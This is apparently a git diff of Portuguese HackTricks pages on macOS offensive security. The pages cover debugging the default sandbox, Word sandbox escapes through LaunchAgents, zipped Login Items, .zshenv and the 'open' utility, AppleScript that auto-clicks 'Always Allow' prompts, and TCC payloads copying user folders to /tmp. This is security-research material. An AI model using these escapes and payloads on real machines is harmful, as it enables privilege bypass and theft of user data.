Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# Depuração do Sandbox Padrão do macOS
# macOS Default Sandbox Debug
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Nesta página, você pode encontrar como criar um aplicativo para lançar comandos arbitrários de dentro do sandbox padrão do macOS:
Nesta página você pode encontrar como criar um aplicativo para lançar comandos arbitrários de dentro do sandbox padrão do macOS:
1. Compile o aplicativo:
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. Definir as permissões
3. Defina as permissões
{% tabs %}
{% tab title="sandbox" %}
@ -93,54 +94,6 @@ EOF
{% endtab %}
{% tab title="sandbox + downloads" %}
## macOS Default Sandbox Debug
### macOS Default Sandbox Debug
The macOS default sandbox profile is located at `/System/Library/Sandbox/Profiles/system.sb`. This profile is used by system processes that run in the sandbox but do not have a specific sandbox profile defined for them.
To debug the macOS default sandbox profile, you can use the `sandbox-exec` tool with the `-n` flag to run a process in the default sandbox and print debugging information to the console. For example:
```bash
sandbox-exec -n system /bin/ls
```
This command runs the `/bin/ls` command in the default sandbox and prints debugging information to the console.
You can also use the `sandbox-exec` tool with the `-p` flag to specify a custom sandbox profile to use for debugging. For example:
```bash
sandbox-exec -p "/path/to/custom.sb" /bin/ls
```
This command runs the `/bin/ls` command in the custom sandbox profile specified by `/path/to/custom.sb` and prints debugging information to the console.
By debugging the macOS default sandbox profile, you can gain insights into the restrictions and permissions applied to system processes running in the sandbox, helping you understand and potentially exploit any misconfigurations or vulnerabilities in the sandbox environment.
### macOS Default Sandbox Debug
O perfil de sandbox padrão do macOS está localizado em `/System/Library/Sandbox/Profiles/system.sb`. Este perfil é usado por processos do sistema que são executados no sandbox, mas não possuem um perfil de sandbox específico definido para eles.
Para depurar o perfil de sandbox padrão do macOS, você pode usar a ferramenta `sandbox-exec` com a flag `-n` para executar um processo no sandbox padrão e imprimir informações de depuração no console. Por exemplo:
```bash
sandbox-exec -n system /bin/ls
```
Este comando executa o comando `/bin/ls` no sandbox padrão e imprime informações de depuração no console.
Você também pode usar a ferramenta `sandbox-exec` com a flag `-p` para especificar um perfil de sandbox personalizado a ser usado para depuração. Por exemplo:
```bash
sandbox-exec -p "/caminho/para/custom.sb" /bin/ls
```
Este comando executa o comando `/bin/ls` no perfil de sandbox personalizado especificado por `/caminho/para/custom.sb` e imprime informações de depuração no console.
Ao depurar o perfil de sandbox padrão do macOS, você pode obter insights sobre as restrições e permissões aplicadas aos processos do sistema em execução no sandbox, ajudando a entender e potencialmente explorar quaisquer configurações incorretas ou vulnerabilidades no ambiente de sandbox.
{% endtab %}
```bash
cat << EOF > entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -166,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Suporte ao HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,76 +1,78 @@
# Bypasses de Sandbox do Office no macOS
# macOS Office Sandbox Bypasses
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Bypass de Sandbox do Word via Agentes de Inicialização
### Bypass do Sandbox do Word via Launch Agents
A aplicação utiliza um **Sandbox personalizado** usando a permissão **`com.apple.security.temporary-exception.sbpl`** e este sandbox personalizado permite escrever arquivos em qualquer lugar desde que o nome do arquivo comece com `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
O aplicativo usa um **Sandbox personalizado** usando a permissão **`com.apple.security.temporary-exception.sbpl`** e esse sandbox personalizado permite escrever arquivos em qualquer lugar, desde que o nome do arquivo comece com `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
Portanto, escapar foi tão fácil quanto **escrever um arquivo `plist`** LaunchAgent em `~/Library/LaunchAgents/~$escape.plist`.
Portanto, escapar foi tão fácil quanto **escrever um `plist`** LaunchAgent em `~/Library/LaunchAgents/~$escape.plist`.
Confira o [**relatório original aqui**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
### Bypass de Sandbox do Word via Itens de Login e zip
### Bypass do Sandbox do Word via Itens de Login e zip
Lembre-se de que a partir da primeira fuga, o Word pode escrever arquivos arbitrários cujo nome começa com `~$`, embora após o patch da vulnerabilidade anterior não fosse possível escrever em `/Library/Application Scripts` ou em `/Library/LaunchAgents`.
Lembre-se de que, a partir da primeira fuga, o Word pode escrever arquivos arbitrários cujo nome comece com `~$`, embora após o patch da vulnerabilidade anterior não fosse mais possível escrever em `/Library/Application Scripts` ou em `/Library/LaunchAgents`.
Foi descoberto que de dentro do sandbox é possível criar um **Item de Login** (aplicativos que serão executados quando o usuário fizer login). No entanto, esses aplicativos **não serão executados a menos que** sejam **notarizados** e não é **possível adicionar argumentos** (então você não pode simplesmente executar um shell reverso usando **`bash`**).
Foi descoberto que, de dentro do sandbox, é possível criar um **Item de Login** (aplicativos que serão executados quando o usuário fizer login). No entanto, esses aplicativos **não serão executados a menos que** sejam **notarizados** e **não é possível adicionar args** (então você não pode apenas executar um shell reverso usando **`bash`**).
A partir da fuga anterior do Sandbox, a Microsoft desabilitou a opção de escrever arquivos em `~/Library/LaunchAgents`. No entanto, foi descoberto que se você colocar um **arquivo zip como um Item de Login** o `Archive Utility` simplesmente irá descompactá-lo em sua localização atual. Assim, porque por padrão a pasta `LaunchAgents` de `~/Library` não é criada, foi possível **compactar um plist em `LaunchAgents/~$escape.plist`** e **colocar** o arquivo zip em **`~/Library`** para que ao descompactá-lo alcance o destino de persistência.
A partir do bypass anterior do Sandbox, a Microsoft desativou a opção de escrever arquivos em `~/Library/LaunchAgents`. No entanto, foi descoberto que, se você colocar um **arquivo zip como um Item de Login**, o `Archive Utility` simplesmente **descompactará** no local atual. Assim, como por padrão a pasta `LaunchAgents` de `~/Library` não é criada, foi possível **zipar um plist em `LaunchAgents/~$escape.plist`** e **colocar** o arquivo zip em **`~/Library`** para que, ao descompactá-lo, ele chegasse ao destino de persistência.
Confira o [**relatório original aqui**](https://objective-see.org/blog/blog\_0x4B.html).
### Bypass de Sandbox do Word via Itens de Login e .zshenv
### Bypass do Sandbox do Word via Itens de Login e .zshenv
(Lembre-se de que a partir da primeira fuga, o Word pode escrever arquivos arbitrários cujo nome começa com `~$`).
(Lembre-se de que, a partir da primeira fuga, o Word pode escrever arquivos arbitrários cujo nome comece com `~$`).
No entanto, a técnica anterior tinha uma limitação, se a pasta **`~/Library/LaunchAgents`** existisse porque algum outro software a criou, falharia. Então foi descoberta uma cadeia de Itens de Login diferente para isso.
No entanto, a técnica anterior tinha uma limitação, se a pasta **`~/Library/LaunchAgents`** existir porque algum outro software a criou, falharia. Portanto, uma cadeia diferente de Itens de Login foi descoberta para isso.
Um atacante poderia criar os arquivos **`.bash_profile`** e **`.zshenv`** com o payload para executar e então compactá-los e **escrever o zip na pasta do usuário** vítima: **`~/~$escape.zip`**.
Um atacante poderia criar os arquivos **`.bash_profile`** e **`.zshenv`** com o payload a ser executado e, em seguida, zipá-los e **escrever o zip na** pasta do usuário da vítima: **`~/~$escape.zip`**.
Em seguida, adicione o arquivo zip aos **Itens de Login** e depois ao aplicativo **`Terminal`**. Quando o usuário fizer login novamente, o arquivo zip será descompactado nos arquivos do usuário, sobrescrevendo **`.bash_profile`** e **`.zshenv`** e, portanto, o terminal executará um desses arquivos (dependendo se bash ou zsh é usado).
Em seguida, adicione o arquivo zip aos **Itens de Login** e depois ao aplicativo **`Terminal`**. Quando o usuário fizer login novamente, o arquivo zip seria descompactado na pasta do usuário, sobrescrevendo **`.bash_profile`** e **`.zshenv** e, portanto, o terminal executará um desses arquivos (dependendo se bash ou zsh é usado).
Confira o [**relatório original aqui**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c).
### Bypass de Sandbox do Word com Open e variáveis de ambiente
### Bypass do Sandbox do Word com Open e variáveis de ambiente
De processos em sandbox ainda é possível invocar outros processos usando o utilitário **`open`**. Além disso, esses processos serão executados **dentro de seu próprio sandbox**.
A partir de processos em sandbox, ainda é possível invocar outros processos usando a utilidade **`open`**. Além disso, esses processos serão executados **dentro de seu próprio sandbox**.
Foi descoberto que o utilitário open tem a opção **`--env`** para executar um aplicativo com **variáveis de ambiente específicas**. Portanto, foi possível criar o arquivo **`.zshenv` dentro de uma pasta** **dentro** do **sandbox** e usar `open` com `--env` configurando a variável **`HOME`** para essa pasta abrindo o aplicativo `Terminal`, que executará o arquivo `.zshenv` (por algum motivo também foi necessário definir a variável `__OSINSTALL_ENVIROMENT`).
Foi descoberto que a utilidade open tem a opção **`--env`** para executar um aplicativo com **variáveis de ambiente específicas**. Portanto, foi possível criar o **arquivo `.zshenv`** dentro de uma pasta **dentro** do **sandbox** e usar `open` com `--env` definindo a **variável `HOME`** para essa pasta, abrindo o aplicativo `Terminal`, que executará o arquivo `.zshenv` (por algum motivo, também foi necessário definir a variável `__OSINSTALL_ENVIROMENT`).
Confira o [**relatório original aqui**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/).
### Bypass de Sandbox do Word com Open e stdin
### Bypass do Sandbox do Word com Open e stdin
O utilitário **`open`** também suportava o parâmetro **`--stdin`** (e após a fuga anterior não era mais possível usar `--env`).
A utilidade **`open`** também suportava o parâmetro **`--stdin`** (e após o bypass anterior não era mais possível usar `--env`).
A questão é que mesmo que o **`python`** fosse assinado pela Apple, ele **não executará** um script com o atributo **`quarantine`**. No entanto, era possível passar a ele um script do stdin para que não verificasse se estava em quarentena ou não:&#x20;
A questão é que, mesmo que **`python`** estivesse assinado pela Apple, ele **não executará** um script com o atributo **`quarantine`**. No entanto, foi possível passar um script do stdin, então ele não verificaria se estava em quarentena ou não:&#x20;
1. Deixe um arquivo **`~$exploit.py`** com comandos Python arbitrários.
2. Execute _open_ **`stdin='~$exploit.py' -a Python`**, que executa o aplicativo Python com nosso arquivo deixado servindo como sua entrada padrão. O Python executa nosso código tranquilamente e, como é um processo filho do _launchd_, não está vinculado às regras de sandbox do Word.
1. Crie um arquivo **`~$exploit.py`** com comandos Python arbitrários.
2. Execute _open_ **`stdin='~$exploit.py' -a Python`**, que executa o aplicativo Python com nosso arquivo criado servindo como sua entrada padrão. O Python executa nosso código, e como é um processo filho do _launchd_, não está vinculado às regras do sandbox do Word.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,54 +1,56 @@
# Scripts da Apple
# macOS Apple Scripts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Scripts da Apple
## Apple Scripts
É uma linguagem de script usada para automação de tarefas **interagindo com processos remotos**. Torna bastante fácil **solicitar que outros processos executem algumas ações**. **Malwares** podem abusar desses recursos para abusar de funções exportadas por outros processos.\
Por exemplo, um malware poderia **injetar código JS arbitrário em páginas abertas do navegador**. Ou **clicar automaticamente** em algumas permissões solicitadas ao usuário;
É uma linguagem de script usada para automação de tarefas **interagindo com processos remotos**. Facilita bastante **pedir a outros processos que realizem algumas ações**. **Malware** pode abusar dessas funcionalidades para explorar funções exportadas por outros processos.\
Por exemplo, um malware poderia **injetar código JS arbitrário em páginas abertas no navegador**. Ou **clicar automaticamente** em algumas permissões solicitadas ao usuário;
```applescript
tell window 1 of process "SecurityAgent"
click button "Always Allow" of group 1
end tell
```
Aqui estão alguns exemplos: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\
Encontre mais informações sobre malware usando scripts da Apple [**aqui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Encontre mais informações sobre malware usando applescripts [**aqui**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/).
Os scripts da Apple podem ser facilmente "**compilados**". Essas versões podem ser facilmente "**descompiladas**" com `osadecompile`
Os scripts Apple podem ser facilmente "**compilados**". Essas versões podem ser facilmente "**decompiladas**" com `osadecompile`
No entanto, esses scripts também podem ser **exportados como "Somente leitura"** (através da opção "Exportar..."):
No entanto, esses scripts também podem ser **exportados como "Somente leitura"** (via a opção "Exportar..."):
<figure><img src="https://github.com/carlospolop/hacktricks/raw/master/.gitbook/assets/image%20(556).png" alt=""><figcaption></figcaption></figure>
```
file mal.scpt
mal.scpt: AppleScript compiled
```
E neste caso, o conteúdo não pode ser descompilado mesmo com `osadecompile`.
e, neste caso, o conteúdo não pode ser decompilado mesmo com `osadecompile`
No entanto, ainda existem algumas ferramentas que podem ser usadas para entender esse tipo de executáveis, [**leia esta pesquisa para mais informações**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). A ferramenta [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) com [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) será muito útil para entender como o script funciona.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Cargas do TCC do macOS
# macOS TCC Payloads
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Desktop
* **Privilégio**: Nenhum
* **Entitlement**: Nenhum
* **TCC**: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
@ -65,7 +66,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
### Documentos
* **Entitlement**: Nenhum
* **Direito**: Nenhum
* **TCC**: `kTCCServiceSystemPolicyDocumentsFolder`
{% tabs %}
@ -163,7 +164,7 @@ cp -r "$HOME/Downloads" "/tmp/downloads"
